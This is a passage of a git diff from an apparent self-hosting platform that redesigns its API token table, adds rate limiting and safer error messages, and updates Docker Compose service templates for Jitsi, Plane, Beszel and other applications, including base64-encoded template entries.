@can('create', App\Models\PersonalAccessToken::class)
-
- +
+ + + @foreach ($expirationOptions as $days => $label) + + @endforeach + + Create
Permissions - :
@if ($permissions) @@ -31,7 +37,6 @@ class="pr-1">:
-

Token Permissions

@if ($canUseRootPermissions) :
{{ session('token') }}
@endif

Issued Tokens

-
- @forelse ($tokens as $token) -
-
Description: {{ $token->name }}
-
Last used: {{ $token->last_used_at ? $token->last_used_at->diffForHumans() : 'Never' }}
-
- @if ($token->abilities) - Permissions: - @foreach ($token->abilities as $ability) -
{{ $ability }}
- @endforeach - @endif +
+
+
+
+
+ + + + + + + + + + + + + @forelse ($tokens as $token) + + + + + + + + + @empty + + + + @endforelse + +
DescriptionPermissionsLast usedCreatedExpiresActions
{{ $token->name }} + @if ($token->abilities) +
+ @foreach ($token->abilities as $ability) +
{{ $ability }}
+ @endforeach +
+ @endif +
+ {{ $token->last_used_at ? $token->last_used_at->diffForHumans() : 'Never' }} + + {{ $token->created_at->diffForHumans() }} + + @if (! $token->expires_at) + Never + @elseif ($token->expires_at->isPast()) + Expired + {{ $token->expires_at->format('Y-m-d H:i:s') }} + @else + {{ $token->expires_at->format('Y-m-d H:i:s') }} + @endif + + @if (auth()->id() === $token->tokenable_id) + + @endif +
No API tokens found. +
+
- - @if (auth()->id() === $token->tokenable_id) - - @endif
- @empty -
-
No API tokens found.
-
- @endforelse +
@endif
diff --git a/resources/views/livewire/server/swarm.blade.php b/resources/views/livewire/server/swarm.blade.php index 1d18e2d31..9ce28bbd6 100644 --- a/resources/views/livewire/server/swarm.blade.php +++ b/resources/views/livewire/server/swarm.blade.php @@ -8,8 +8,12 @@
-

Swarm (experimental)

+

Swarm

+
+ + {{ config('deprecations.swarm') }} +
Read the docs here.
diff --git a/routes/api.php b/routes/api.php index 0d3edcced..7394d4e16 100644 --- a/routes/api.php +++ b/routes/api.php @@ -26,7 +26,8 @@ Route::get('/health', [OtherController::class, 'healthcheck']); }); -Route::post('/feedback', [OtherController::class, 'feedback']); +Route::post('/feedback', [OtherController::class, 'feedback']) + ->middleware('throttle:feedback'); Route::group([ 'middleware' => ['auth:sanctum', 'api.ability:write'], @@ -129,6 +130,8 @@ Route::match(['get', 'post'], '/applications/{uuid}/restart', [ApplicationsController::class, 'action_restart'])->middleware(['api.ability:deploy']); Route::match(['get', 'post'], '/applications/{uuid}/stop', [ApplicationsController::class, 'action_stop'])->middleware(['api.ability:deploy']); + Route::delete('/applications/{uuid}/previews/{pull_request_id}', [ApplicationsController::class, 'delete_preview_by_pull_request_id'])->middleware(['api.ability:write']); + Route::get('/github-apps', [GithubController::class, 'list_github_apps'])->middleware(['api.ability:read']); Route::post('/github-apps', [GithubController::class, 'create_github_app'])->middleware(['api.ability:write']); Route::patch('/github-apps/{github_app_id}', [GithubController::class, 'update_github_app'])->middleware(['api.ability:write']); @@ -218,7 +221,7 @@ try { $decrypted = decrypt($naked_token); $decrypted_token = json_decode($decrypted, true); - } catch (\Exception $e) { + } catch (Exception $e) { return response()->json(['message' => 'Invalid token'], 401); } $server_uuid = data_get($decrypted_token, 'server_uuid'); diff --git a/routes/web.php b/routes/web.php index fad3c5d29..997045659 100644 --- a/routes/web.php +++ b/routes/web.php @@ -391,7 +391,7 @@ 'Content-Disposition' => 'attachment; filename="'.basename($filename).'"', ]); } catch (Throwable $e) { - return response()->json(['message' => $e->getMessage()], 500); + return response()->json(['message' => 'Failed to download backup.'], 500); } })->name('download.backup'); diff --git a/svgs/jitsi.svg b/svgs/jitsi.svg new file mode 100644 index 000000000..5a3526ac8 --- /dev/null +++ b/svgs/jitsi.svg @@ -0,0 +1,650 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + image/svg+xml + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/templates/compose/beszel-agent.yaml b/templates/compose/beszel-agent.yaml index 5d0b4fecc..a8391094d 100644 --- a/templates/compose/beszel-agent.yaml +++ b/templates/compose/beszel-agent.yaml @@ -6,7 +6,7 @@ services: beszel-agent: - image: 'henrygd/beszel-agent:0.18.4' # Released on 21 Feb 2026 + image: 'henrygd/beszel-agent:0.18.7' # Released on 6 April 2026 network_mode: host # Network stats graphs won't work if agent cannot access host system network stack environment: # Required @@ -28,4 +28,4 @@ services: interval: 60s timeout: 20s retries: 10 - start_period: 5s \ No newline at end of file + start_period: 5s diff --git a/templates/compose/beszel.yaml b/templates/compose/beszel.yaml index bc68c1825..9112c3203 100644 --- a/templates/compose/beszel.yaml +++ b/templates/compose/beszel.yaml @@ -9,7 +9,7 @@ # Add the public Key in "Key" env variable and token in the "Token" variable below (These are obtained from Beszel UI) services: beszel: - image: 'henrygd/beszel:0.18.4' # Released on 21 Feb 2026 + image: 'henrygd/beszel:0.18.7' # Released on 6 April 2026 environment: - SERVICE_URL_BESZEL_8090 - CONTAINER_DETAILS=${CONTAINER_DETAILS:-true} @@ -24,7 +24,7 @@ services: retries: 10 start_period: 5s beszel-agent: - image: 'henrygd/beszel-agent:0.18.4' # Released on 21 Feb 2026 + image: 'henrygd/beszel-agent:0.18.7' # Released on 6 April 2026 network_mode: host # Network stats graphs won't work if agent cannot access host system network stack environment: # Required @@ -46,4 +46,4 @@ services: interval: 60s timeout: 20s retries: 10 - start_period: 5s \ No newline at end of file + start_period: 5s diff --git a/templates/compose/calcom.yaml b/templates/compose/calcom.yaml index b5ef778b5..599ef896c 100644 --- a/templates/compose/calcom.yaml +++ b/templates/compose/calcom.yaml @@ -1,3 +1,4 @@ +# ignore: true # documentation: https://cal.com/docs/developing/introduction # slogan: Scheduling infrastructure for everyone. # category: productivity diff --git a/templates/compose/cap-captcha.yaml b/templates/compose/cap-captcha.yaml new file mode 100644 index 000000000..3525663cd --- /dev/null +++ b/templates/compose/cap-captcha.yaml @@ -0,0 +1,34 @@ +# documentation: https://capjs.js.org/guide/ +# slogan: The self-hosted CAPTCHA for the modern web. +# category: security +# tags: captcha,security,privacy,proof-of-work +# logo: svgs/cap-captcha.png +# port: 3000 + +services: + cap: + image: tiago2/cap:3.0.4 # Released on 22nd April 2026 + environment: + - SERVICE_URL_CAP_3000 + - ADMIN_KEY=$SERVICE_PASSWORD_ADMIN + - REDIS_URL=redis://valkey:6379 + healthcheck: + test: ["CMD", "bun", "-e", "fetch('http://localhost:3000').then(r => { if (!r.ok) process.exit(1) }).catch(() => process.exit(1))"] + interval: 30s + timeout: 5s + retries: 3 + start_period: 5s + depends_on: + valkey: + condition: service_healthy + + valkey: + image: valkey/valkey:9-alpine + volumes: + - valkey-data:/data + command: valkey-server --save 60 1 --loglevel warning --maxmemory-policy noeviction + healthcheck: + test: ["CMD", "valkey-cli", "ping"] + interval: 5s + timeout: 3s + retries: 5 diff --git a/templates/compose/jitsi.yaml b/templates/compose/jitsi.yaml index 60903a4b6..97699e473 100644 --- a/templates/compose/jitsi.yaml +++ b/templates/compose/jitsi.yaml @@ -1,127 +1,139 @@ -# ignore: true -# documentation: https://jitsi.github.io/handbook/docs/intro +# documentation: https://jitsi.github.io/handbook/docs/devops-guide/devops-guide-docker/ +# slogan: Self-hosted Jitsi Meet — open-source video conferencing platform +# tags: jitsi,video,conference,webrtc,meeting,self-hosted # category: productivity -# slogan: World's easiest way to add meetings to your apps # logo: svgs/jitsi.svg -# tags: video, conferencing, meetings, communication, open-source +# port: 80 services: jitsi-web: - image: "jitsi/web:${JITSI_IMAGE_VERSION:-unstable}" - container_name: jitsi-web + image: "jitsi/web:stable-10888" restart: unless-stopped - ports: - - "8001:80" - - "8443:443" - volumes: - - ~/.jitsi-meet-cfg/web:/config:Z - - ~/.jitsi-meet-cfg/web/crontabs:/var/spool/cron/crontabs:Z - - ~/.jitsi-meet-cfg/transcripts:/usr/share/jitsi-meet/transcripts:Z environment: - SERVICE_URL_JITSI - PUBLIC_URL=$SERVICE_URL_JITSI - - JITSI_IMAGE_VERSION=unstable - - JIBRI_RECORDER_PASSWORD=$SERVICE_PASSWORD_JITSI - - JIBRI_XMPP_PASSWORD=$SERVICE_PASSWORD_JITSI - - JICOFO_AUTH_PASSWORD=$SERVICE_PASSWORD_JITSI - - JIGASI_XMPP_PASSWORD=$SERVICE_PASSWORD_JITSI - - JVB_AUTH_PASSWORD=$SERVICE_PASSWORD_JITSI - - TZ=UTC + - ENABLE_AUTH=0 + - ENABLE_GUESTS=1 + - ENABLE_LETSENCRYPT=0 + - ENABLE_HTTP_REDIRECT=0 + - DISABLE_HTTPS=1 + - XMPP_DOMAIN=meet.jitsi + - XMPP_AUTH_DOMAIN=auth.meet.jitsi + - XMPP_GUEST_DOMAIN=guest.meet.jitsi + - XMPP_MUC_DOMAIN=conference.meet.jitsi + - XMPP_INTERNAL_MUC_DOMAIN=internal.auth.meet.jitsi + - XMPP_BOSH_URL_BASE=http://prosody:5280 + - JVB_BREWERY_MUC=jvbbrewery + - JICOFO_COMPONENT_SECRET=${SERVICE_PASSWORD_JICOFO} + - JICOFO_AUTH_PASSWORD=${SERVICE_PASSWORD_JICOFO} + - JVB_AUTH_PASSWORD=${SERVICE_PASSWORD_JVB} + - TZ=${TZ:-UTC} + depends_on: + - prosody + - jicofo + - jvb + volumes: + - jitsi-web:/config networks: meet.jitsi: aliases: - meet.jitsi - depends_on: - - jvb healthcheck: test: ["CMD", "curl", "-f", "http://localhost"] - interval: 2s + interval: 5s timeout: 10s retries: 15 prosody: - image: "jitsi/prosody:${JITSI_IMAGE_VERSION:-unstable}" - expose: - - '5222' - - '5347' - - '5280' - container_name: jitsi-xmpp + image: "jitsi/prosody:stable-10888" restart: unless-stopped - volumes: - - ~/.jitsi-meet-cfg/prosody/config:/config:Z - - ~/.jitsi-meet-cfg/prosody/prosody-plugins-custom:/prosody-plugins-custom:Z environment: - - JICOFO_AUTH_PASSWORD - - JVB_AUTH_PASSWORD + - AUTH_TYPE=internal + - ENABLE_AUTH=0 + - ENABLE_GUESTS=1 + - XMPP_DOMAIN=meet.jitsi + - XMPP_AUTH_DOMAIN=auth.meet.jitsi + - XMPP_GUEST_DOMAIN=guest.meet.jitsi + - XMPP_MUC_DOMAIN=conference.meet.jitsi + - XMPP_INTERNAL_MUC_DOMAIN=internal.auth.meet.jitsi + - JICOFO_COMPONENT_SECRET=${SERVICE_PASSWORD_JICOFO} + - JICOFO_AUTH_PASSWORD=${SERVICE_PASSWORD_JICOFO} + - JVB_AUTH_PASSWORD=${SERVICE_PASSWORD_JVB} - PUBLIC_URL=$SERVICE_URL_JITSI - - TZ + - TZ=${TZ:-UTC} + - LOG_LEVEL=${LOG_LEVEL:-info} + volumes: + - jitsi-prosody:/config networks: meet.jitsi: aliases: - xmpp.meet.jitsi + - auth.meet.jitsi + - guest.meet.jitsi healthcheck: test: ["CMD", "curl", "-f", "http://localhost:5280/http-bind"] - interval: 2s + interval: 5s timeout: 10s retries: 15 jicofo: - image: "jitsi/jicofo:${JITSI_IMAGE_VERSION:-unstable}" - container_name: jitsi-jicofo + image: "jitsi/jicofo:stable-10888" restart: unless-stopped - volumes: - - ~/.jitsi-meet-cfg/jicofo:/config:Z environment: + - AUTH_TYPE=internal + - ENABLE_AUTH=0 + - XMPP_DOMAIN=meet.jitsi + - XMPP_AUTH_DOMAIN=auth.meet.jitsi + - XMPP_INTERNAL_MUC_DOMAIN=internal.auth.meet.jitsi + - XMPP_MUC_DOMAIN=conference.meet.jitsi - XMPP_SERVER=prosody - - JICOFO_AUTH_PASSWORD - - TZ + - JICOFO_COMPONENT_SECRET=${SERVICE_PASSWORD_JICOFO} + - JICOFO_AUTH_PASSWORD=${SERVICE_PASSWORD_JICOFO} + - JVB_BREWERY_MUC=jvbbrewery - JICOFO_ENABLE_HEALTH_CHECKS=1 + - TZ=${TZ:-UTC} depends_on: - prosody + volumes: + - jitsi-jicofo:/config networks: meet.jitsi: healthcheck: test: ["CMD", "curl", "-f", "http://localhost:8888/about/health"] - interval: 2s + interval: 5s timeout: 10s retries: 15 jvb: - image: "jitsi/jvb:${JITSI_IMAGE_VERSION:-unstable}" - container_name: jitsi-jvb + image: "jitsi/jvb:stable-10888" restart: unless-stopped - expose: - - '10000:10000/udp' - - '8080:8080' - - '10000' - volumes: - - ~/.jitsi-meet-cfg/jvb:/config:Z + ports: + - "10000:10000/udp" environment: - - JVB_ADVERTISE_IPS - - JVB_AUTH_PASSWORD - - PUBLIC_URL=$SERVICE_URL_JITSI - - TZ - XMPP_SERVER=prosody + - XMPP_DOMAIN=meet.jitsi + - XMPP_AUTH_DOMAIN=auth.meet.jitsi + - XMPP_INTERNAL_MUC_DOMAIN=internal.auth.meet.jitsi + - XMPP_MUC_DOMAIN=conference.meet.jitsi + - JVB_AUTH_USER=jvb + - JVB_AUTH_PASSWORD=${SERVICE_PASSWORD_JVB} + - JVB_BREWERY_MUC=jvbbrewery + - JVB_PORT=10000 + - JVB_ADVERTISE_IPS=${JVB_ADVERTISE_IPS:-} #Optional: set your public IP only if STUN auto-detection fails or the server is behind NAT / multiple interfaces + - JVB_STUN_SERVERS=${JVB_STUN_SERVERS:-stun.l.google.com:19302} + - PUBLIC_URL=$SERVICE_URL_JITSI + - TZ=${TZ:-UTC} depends_on: - prosody + volumes: + - jitsi-jvb:/config networks: meet.jitsi: - labels: - - "traefik.enable=true" - - "traefik.udp.routers.my-udp-router.entrypoints=video" - - "traefik.udp.routers.my-udp-router.service=my-udp-service" - - "traefik.udp.services.my-udp-service.loadbalancer.server.port=10000" healthcheck: test: ["CMD", "curl", "-f", "http://localhost:8080/about/health"] - interval: 2s + interval: 5s timeout: 10s retries: 15 networks: meet.jitsi: - -volumes: - jitsi-web: - jitsi-xmpp: - jitsi-jicofo: - jitsi-jvb: diff --git a/templates/compose/langfuse.yaml b/templates/compose/langfuse.yaml index b617cec5c..78260012d 100644 --- a/templates/compose/langfuse.yaml +++ b/templates/compose/langfuse.yaml @@ -88,6 +88,11 @@ services: environment: <<: *app-env depends_on: *langfuse-depends-on + healthcheck: + test: ["CMD", "wget", "--no-verbose", "--tries=1", "--spider", "http://127.0.0.1:3030/api/health"] + interval: 30s + timeout: 10s + retries: 3 postgres: image: postgres:17-alpine diff --git a/templates/compose/logto.yaml b/templates/compose/logto.yaml index ce856c138..ce83a2ec3 100644 --- a/templates/compose/logto.yaml +++ b/templates/compose/logto.yaml @@ -10,7 +10,7 @@ services: depends_on: postgres: condition: service_healthy - entrypoint: ["sh", "-c", "npm run cli db seed -- --swe && npm start"] + entrypoint: ["sh", "-c", "npm run cli db seed -- --swe && npm run alteration deploy latest && npm start"] environment: - SERVICE_URL_LOGTO - TRUST_PROXY_HEADER=1 diff --git a/templates/compose/plane.yaml b/templates/compose/plane.yaml index 346b0c664..440845a1e 100644 --- a/templates/compose/plane.yaml +++ b/templates/compose/plane.yaml @@ -1,7 +1,7 @@ -# ignore: true # documentation: https://docs.plane.so/self-hosting/methods/docker-compose # slogan: The open source project management tool # category: productivity +# port: 80 # tags: plane,project-management,tool,open,source,api,nextjs,redis,postgresql,django,pm # logo: svgs/plane.svg @@ -30,6 +30,12 @@ x-aws-s3-env: &aws-s3-env AWS_S3_ENDPOINT_URL: ${AWS_S3_ENDPOINT_URL:-http://plane-minio:9000} AWS_S3_BUCKET_NAME: ${AWS_S3_BUCKET_NAME:-uploads} +x-proxy-env: &proxy-env + APP_DOMAIN: ${SERVICE_URL_PLANE} + FILE_SIZE_LIMIT: ${FILE_SIZE_LIMIT:-5242880} + BUCKET_NAME: ${AWS_S3_BUCKET_NAME:-uploads} + SITE_ADDRESS: ${SITE_ADDRESS:-:80} + x-mq-env: &mq-env # RabbitMQ Settings RABBITMQ_HOST: plane-mq RABBITMQ_PORT: ${RABBITMQ_PORT:-5672} @@ -40,9 +46,10 @@ x-mq-env: &mq-env # RabbitMQ Settings x-live-env: &live-env API_BASE_URL: ${API_BASE_URL:-http://api:8000} + LIVE_SERVER_SECRET_KEY: $SERVICE_PASSWORD_64_LIVESECRET x-app-env: &app-env - APP_RELEASE: ${APP_RELEASE:-v1.0.0} + APP_RELEASE: ${APP_RELEASE:-v1.3.0} WEB_URL: ${SERVICE_URL_PLANE} DEBUG: ${DEBUG:-0} CORS_ALLOWED_ORIGINS: ${CORS_ALLOWED_ORIGINS:-http://localhost} @@ -53,16 +60,20 @@ x-app-env: &app-env AMQP_URL: amqp://${SERVICE_USER_RABBITMQ}:${SERVICE_PASSWORD_RABBITMQ}@plane-mq:${RABBITMQ_PORT:-5672}/plane API_KEY_RATE_LIMIT: ${API_KEY_RATE_LIMIT:-60/minute} MINIO_ENDPOINT_SSL: ${MINIO_ENDPOINT_SSL:-0} + LIVE_SERVER_SECRET_KEY: $SERVICE_PASSWORD_64_LIVESECRET services: proxy: - image: artifacts.plane.so/makeplane/plane-proxy:${APP_RELEASE:-v1.0.0} + image: makeplane/plane-proxy:${APP_RELEASE:-v1.3.0} environment: - SERVICE_URL_PLANE - APP_DOMAIN=${SERVICE_URL_PLANE} - SITE_ADDRESS=:80 - FILE_SIZE_LIMIT=${FILE_SIZE_LIMIT:-5242880} - BUCKET_NAME=${AWS_S3_BUCKET_NAME:-uploads} + volumes: + - proxy_config:/config + - proxy_data:/data depends_on: - web - api @@ -74,8 +85,9 @@ services: interval: 2s timeout: 10s retries: 15 + web: - image: artifacts.plane.so/makeplane/plane-frontend:${APP_RELEASE:-v1.0.0} + image: makeplane/plane-frontend:${APP_RELEASE:-v1.3.0} depends_on: - api - worker @@ -86,7 +98,7 @@ services: retries: 15 space: - image: artifacts.plane.so/makeplane/plane-space:${APP_RELEASE:-v1.0.0} + image: makeplane/plane-space:${APP_RELEASE:-v1.3.0} depends_on: - api - worker @@ -98,7 +110,7 @@ services: retries: 15 admin: - image: artifacts.plane.so/makeplane/plane-admin:${APP_RELEASE:-v1.0.0} + image: makeplane/plane-admin:${APP_RELEASE:-v1.3.0} depends_on: - api - web @@ -109,13 +121,12 @@ services: retries: 15 live: - image: artifacts.plane.so/makeplane/plane-live:${APP_RELEASE:-v1.0.0} + image: makeplane/plane-live:${APP_RELEASE:-v1.3.0} environment: <<: [*live-env, *redis-env] depends_on: - api - web - - plane-redis healthcheck: test: ["CMD", "echo", "hey whats up"] interval: 2s @@ -123,12 +134,12 @@ services: retries: 15 api: - image: artifacts.plane.so/makeplane/plane-backend:${APP_RELEASE:-v1.0.0} + image: makeplane/plane-backend:${APP_RELEASE:-v1.3.0} command: ./bin/docker-entrypoint-api.sh volumes: - logs_api:/code/plane/logs environment: - <<: [*app-env, *db-env, *redis-env, *minio-env, *aws-s3-env, *mq-env] + <<: [*app-env, *db-env, *redis-env, *minio-env, *aws-s3-env, *proxy-env] depends_on: - plane-db - plane-redis @@ -140,12 +151,12 @@ services: retries: 15 worker: - image: artifacts.plane.so/makeplane/plane-backend:${APP_RELEASE:-v1.0.0} + image: makeplane/plane-backend:${APP_RELEASE:-v1.3.0} command: ./bin/docker-entrypoint-worker.sh volumes: - logs_worker:/code/plane/logs environment: - <<: [*app-env, *db-env, *redis-env, *minio-env, *aws-s3-env, *mq-env] + <<: [*app-env, *db-env, *redis-env, *minio-env, *aws-s3-env, *proxy-env] depends_on: - api - plane-db @@ -158,12 +169,12 @@ services: retries: 15 beat-worker: - image: artifacts.plane.so/makeplane/plane-backend:${APP_RELEASE:-v1.0.0} + image: makeplane/plane-backend:${APP_RELEASE:-v1.3.0} command: ./bin/docker-entrypoint-beat.sh volumes: - logs_beat-worker:/code/plane/logs environment: - <<: [*app-env, *db-env, *redis-env, *minio-env, *aws-s3-env, *mq-env] + <<: [*app-env, *db-env, *redis-env, *minio-env, *aws-s3-env, *proxy-env] depends_on: - api - plane-db @@ -176,13 +187,13 @@ services: retries: 15 migrator: - image: artifacts.plane.so/makeplane/plane-backend:${APP_RELEASE:-v1.0.0} + image: makeplane/plane-backend:${APP_RELEASE:-v1.3.0} restart: "no" command: ./bin/docker-entrypoint-migrator.sh volumes: - logs_migrator:/code/plane/logs environment: - <<: [*app-env, *db-env, *redis-env, *minio-env, *aws-s3-env, *mq-env] + <<: [*app-env, *db-env, *redis-env, *minio-env, *aws-s3-env, *proxy-env] depends_on: - plane-db - plane-redis @@ -202,7 +213,7 @@ services: retries: 10 plane-redis: - image: valkey/valkey:7.2.5-alpine + image: valkey/valkey:7.2.11-alpine volumes: - redisdata:/data healthcheck: @@ -213,7 +224,6 @@ services: plane-mq: image: rabbitmq:3.13.6-management-alpine - restart: always environment: <<: *mq-env volumes: diff --git a/templates/compose/rallly.yaml b/templates/compose/rallly.yaml index 0dfc84c56..45cb51aff 100644 --- a/templates/compose/rallly.yaml +++ b/templates/compose/rallly.yaml @@ -32,15 +32,14 @@ services: - SERVICE_URL_RALLLY_3000 - DATABASE_URL=postgres://${SERVICE_USER_POSTGRES}:${SERVICE_PASSWORD_POSTGRES}@rallly_db:5432/${POSTGRES_DB:-rallly} - SECRET_PASSWORD=${SERVICE_PASSWORD_64_RALLLY} - - NEXT_PUBLIC_BASE_URL=https://${SERVICE_URL_RALLLY} + - NEXT_PUBLIC_BASE_URL=${SERVICE_URL_RALLLY} - ALLOWED_EMAILS=${ALLOWED_EMAILS} - SUPPORT_EMAIL=${SUPPORT_EMAIL:-support@example.com} - SMTP_HOST=${SMTP_HOST} - SMTP_PORT=${SMTP_PORT} - - SMTP_SECURE=${SMTP_SECURE} + - SMTP_SECURE=${SMTP_SECURE:-false} - SMTP_USER=${SMTP_USER} - SMTP_PWD=${SMTP_PWD} - - SMTP_TLS_ENABLED=${SMTP_TLS_ENABLED} healthcheck: test: ["CMD-SHELL", "bash -c ':> /dev/tcp/127.0.0.1/3000' || exit 1"] interval: 5s diff --git a/templates/compose/twenty.yaml b/templates/compose/twenty.yaml index 72871fcc2..d3e26145d 100644 --- a/templates/compose/twenty.yaml +++ b/templates/compose/twenty.yaml @@ -53,7 +53,7 @@ services: interval: 2s timeout: 5s retries: 10 - start_period: 10s + start_period: 30s depends_on: postgres: condition: service_healthy @@ -102,7 +102,15 @@ services: depends_on: twenty: condition: service_healthy - + healthcheck: + test: + - CMD-SHELL + - "ps aux | grep 'dist/queue-worker/queue-worker' | grep -v grep || exit 1" + interval: 30s + timeout: 5s + retries: 3 + start_period: 30s + postgres: image: postgres:16-alpine environment: diff --git a/templates/service-templates-latest.json b/templates/service-templates-latest.json index fdc99ae78..eb667fcb8 100644 --- a/templates/service-templates-latest.json +++ b/templates/service-templates-latest.json @@ -254,7 +254,7 @@ "beszel-agent": { "documentation": "https://www.beszel.dev/guide/agent-installation?utm_source=coolify.io", "slogan": "Monitoring agent for Beszel", - "compose": "c2VydmljZXM6CiAgYmVzemVsLWFnZW50OgogICAgaW1hZ2U6ICdoZW5yeWdkL2Jlc3plbC1hZ2VudDowLjE4LjQnCiAgICBuZXR3b3JrX21vZGU6IGhvc3QKICAgIGVudmlyb25tZW50OgogICAgICAtIExJU1RFTj0vYmVzemVsX3NvY2tldC9iZXN6ZWwuc29jawogICAgICAtIEhVQl9VUkw9JFNFUlZJQ0VfVVJMX0JFU1pFTAogICAgICAtICdUT0tFTj0ke1RPS0VOfScKICAgICAgLSAnS0VZPSR7S0VZfScKICAgICAgLSAnRElTQUJMRV9TU0g9JHtESVNBQkxFX1NTSDotZmFsc2V9JwogICAgICAtICdMT0dfTEVWRUw9JHtMT0dfTEVWRUw6LXdhcm59JwogICAgICAtICdTS0lQX0dQVT0ke1NLSVBfR1BVOi1mYWxzZX0nCiAgICAgIC0gJ1NZU1RFTV9OQU1FPSR7U1lTVEVNX05BTUV9JwogICAgdm9sdW1lczoKICAgICAgLSAnYmVzemVsX2FnZW50X2RhdGE6L3Zhci9saWIvYmVzemVsLWFnZW50JwogICAgICAtICdiZXN6ZWxfc29ja2V0Oi9iZXN6ZWxfc29ja2V0JwogICAgICAtICcvdmFyL3J1bi9kb2NrZXIuc29jazovdmFyL3J1bi9kb2NrZXIuc29jazpybycKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSAvYWdlbnQKICAgICAgICAtIGhlYWx0aAogICAgICBpbnRlcnZhbDogNjBzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiAxMAogICAgICBzdGFydF9wZXJpb2Q6IDVzCg==", + "compose": "c2VydmljZXM6CiAgYmVzemVsLWFnZW50OgogICAgaW1hZ2U6ICdoZW5yeWdkL2Jlc3plbC1hZ2VudDowLjE4LjcnCiAgICBuZXR3b3JrX21vZGU6IGhvc3QKICAgIGVudmlyb25tZW50OgogICAgICAtIExJU1RFTj0vYmVzemVsX3NvY2tldC9iZXN6ZWwuc29jawogICAgICAtIEhVQl9VUkw9JFNFUlZJQ0VfVVJMX0JFU1pFTAogICAgICAtICdUT0tFTj0ke1RPS0VOfScKICAgICAgLSAnS0VZPSR7S0VZfScKICAgICAgLSAnRElTQUJMRV9TU0g9JHtESVNBQkxFX1NTSDotZmFsc2V9JwogICAgICAtICdMT0dfTEVWRUw9JHtMT0dfTEVWRUw6LXdhcm59JwogICAgICAtICdTS0lQX0dQVT0ke1NLSVBfR1BVOi1mYWxzZX0nCiAgICAgIC0gJ1NZU1RFTV9OQU1FPSR7U1lTVEVNX05BTUV9JwogICAgdm9sdW1lczoKICAgICAgLSAnYmVzemVsX2FnZW50X2RhdGE6L3Zhci9saWIvYmVzemVsLWFnZW50JwogICAgICAtICdiZXN6ZWxfc29ja2V0Oi9iZXN6ZWxfc29ja2V0JwogICAgICAtICcvdmFyL3J1bi9kb2NrZXIuc29jazovdmFyL3J1bi9kb2NrZXIuc29jazpybycKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSAvYWdlbnQKICAgICAgICAtIGhlYWx0aAogICAgICBpbnRlcnZhbDogNjBzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiAxMAogICAgICBzdGFydF9wZXJpb2Q6IDVzCg==", "tags": [ "beszel", "monitoring", @@ -269,7 +269,7 @@ "beszel": { "documentation": "https://github.com/henrygd/beszel?tab=readme-ov-file#getting-started?utm_source=coolify.io", "slogan": "A lightweight server resource monitoring hub with historical data, docker stats, and alerts.", - "compose": "c2VydmljZXM6CiAgYmVzemVsOgogICAgaW1hZ2U6ICdoZW5yeWdkL2Jlc3plbDowLjE4LjQnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBTRVJWSUNFX1VSTF9CRVNaRUxfODA5MAogICAgICAtICdDT05UQUlORVJfREVUQUlMUz0ke0NPTlRBSU5FUl9ERVRBSUxTOi10cnVlfScKICAgICAgLSAnU0hBUkVfQUxMX1NZU1RFTVM9JHtTSEFSRV9BTExfU1lTVEVNUzotZmFsc2V9JwogICAgdm9sdW1lczoKICAgICAgLSAnYmVzemVsX2RhdGE6L2Jlc3plbF9kYXRhJwogICAgICAtICdiZXN6ZWxfc29ja2V0Oi9iZXN6ZWxfc29ja2V0JwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIC9iZXN6ZWwKICAgICAgICAtIGhlYWx0aAogICAgICAgIC0gJy0tdXJsJwogICAgICAgIC0gJ2h0dHA6Ly9sb2NhbGhvc3Q6ODA5MCcKICAgICAgaW50ZXJ2YWw6IDMwcwogICAgICB0aW1lb3V0OiAyMHMKICAgICAgcmV0cmllczogMTAKICAgICAgc3RhcnRfcGVyaW9kOiA1cwogIGJlc3plbC1hZ2VudDoKICAgIGltYWdlOiAnaGVucnlnZC9iZXN6ZWwtYWdlbnQ6MC4xOC40JwogICAgbmV0d29ya19tb2RlOiBob3N0CiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBMSVNURU49L2Jlc3plbF9zb2NrZXQvYmVzemVsLnNvY2sKICAgICAgLSBIVUJfVVJMPSRTRVJWSUNFX1VSTF9CRVNaRUwKICAgICAgLSAnVE9LRU49JHtUT0tFTn0nCiAgICAgIC0gJ0tFWT0ke0tFWX0nCiAgICAgIC0gJ0RJU0FCTEVfU1NIPSR7RElTQUJMRV9TU0g6LWZhbHNlfScKICAgICAgLSAnTE9HX0xFVkVMPSR7TE9HX0xFVkVMOi13YXJufScKICAgICAgLSAnU0tJUF9HUFU9JHtTS0lQX0dQVTotZmFsc2V9JwogICAgICAtICdTWVNURU1fTkFNRT0ke1NZU1RFTV9OQU1FfScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2Jlc3plbF9hZ2VudF9kYXRhOi92YXIvbGliL2Jlc3plbC1hZ2VudCcKICAgICAgLSAnYmVzemVsX3NvY2tldDovYmVzemVsX3NvY2tldCcKICAgICAgLSAnL3Zhci9ydW4vZG9ja2VyLnNvY2s6L3Zhci9ydW4vZG9ja2VyLnNvY2s6cm8nCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gL2FnZW50CiAgICAgICAgLSBoZWFsdGgKICAgICAgaW50ZXJ2YWw6IDYwcwogICAgICB0aW1lb3V0OiAyMHMKICAgICAgcmV0cmllczogMTAKICAgICAgc3RhcnRfcGVyaW9kOiA1cwo=", + "compose": 